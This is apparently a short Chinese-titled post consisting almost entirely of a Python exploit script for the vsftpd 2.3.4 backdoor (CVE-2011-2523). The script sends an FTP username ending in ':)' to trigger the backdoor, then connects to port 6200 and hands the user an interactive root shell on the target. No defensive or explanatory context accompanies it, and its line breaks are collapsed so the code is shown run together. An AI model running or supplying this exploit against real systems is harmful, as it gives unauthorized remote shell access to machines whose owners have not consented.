利用 ftp 服务 vsftpd 2.3.4 版本中的漏洞（CVE-2011-2523）
#!/usr/bin/python3
from telnetlib import Telnet import argparse from signal import signal, SIGINT from sys import exit
def handler(signal_received, frame): # Handle any cleanup here print(' [+]Exiting...') exit(0)
signal(SIGINT, handler) parser=argparse.ArgumentParser() parser.add_argument("host", help="input the address of the vulnerable host", type=str) args = parser.parse_args() host = args.host portFTP = 21 #if necessary edit this line
user="USER nergal:)" password="PASS pass"
tn=Telnet(host, portFTP) tn.read_until(b"(vsFTPd 2.3.4)") #if necessary, edit this line tn.write(user.encode('ascii') + b"\n") tn.read_until(b"password.") #if necessary, edit this line tn.write(password.encode('ascii') + b"\n")
tn2=Telnet(host, 6200)
print('Success, shell opened')
print('Send exit to quit shell')
tn2.interact()
